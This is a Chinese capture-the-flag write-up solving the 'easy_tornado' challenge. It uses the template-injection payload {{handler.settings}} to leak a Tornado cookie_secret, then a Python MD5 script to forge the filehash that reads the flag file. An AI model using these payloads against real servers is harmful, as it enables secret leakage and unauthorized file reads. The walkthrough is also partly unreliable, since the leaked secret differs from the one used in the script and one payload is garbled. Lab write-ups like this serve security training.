[护网杯 2018]easy_tornado

打开题目后，首先发现3个超链接

依次查看文件内容

flag.txt

/flag.txt
flag in /fllllllllllllag

welconme.txt

/welcome.txt
render

hints.txt

/hints.txt
md5(cookie_secret+md5(filename))

网址里有参数filename和filehash推测这里flag应该是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面，filehash里hash就是提示为md5的hash加密。

 变量 filename 的值总是为要访问的文件，再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。

  filename知道了，cookie_secret在哪呢？hints提示render

 又根据题目easy_tornado可推测是服务器模板ssti注入。

因为render（）是tornado里的函数，可以生成html模板。是一个渲染函数 ，就是一个公式，能输出前端页面的公式。

tornado是用Python编写的Web服务器兼Web应用框架，简单来说就是用来生成模板的东西。和Python相关，和模板相关，就可以推测这可能是个ssti注入题了。

那我们开始初步尝试：

/file?filename=/fllllllllllllag&filehash={{1}}

得到关键报错信息：

模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单，给一个参数赋值{{22*22}}返回484则必然存在模板注入。

但是当我们输入error?msg={{1}}就可以得到回显，说明此处是存在SSTI注入漏洞的。

当我构造的payload为：error?msg={undefined{2*2}}的时候，回显的结果是orz。因此我们可以猜测出，此处是出现了过滤。

此时我们需要找的是cookie_secret,搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret，Handler这个对象，Handler指向的处理当前这个页面的RequestHandler对象
此时构造payload:

http://0e3925c2-38e3-400f-9d98-78e96f769c8d.node4.buuoj.cn:81/error?msg={{handler.settings}}

得到cookie：052130c3-464f-42fb-a144-27783cb962df

{\'autoreload\': True, \'compiled_template_cache\': False, \'cookie_secret\': \'052130c3-464f-42fb-a144-27783cb962df\'}

此时的payload应该就是如下通过md5的结果：

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

下面贴上脚本

import hashlib


def md5value(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()


def mdfive2():
    filename = \'/fllllllllllllag\'
    cookie = r\"73e3eafa-153d-4145-a916-c1e8b3026948\"
    print(md5value(cookie + md5value(filename)))

mdfive2()

得到计算后的值：0ac10ed83b23b10cd7d71467a409506b

此时的payload为

http://0e3925c2-38e3-400f-9d98-78e96f769c8d.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=0ac10ed83b23b10cd7d71467a409506b

最后flag为flag{e7290ba5-8c47-4c17-b46a-c9aca33dc210}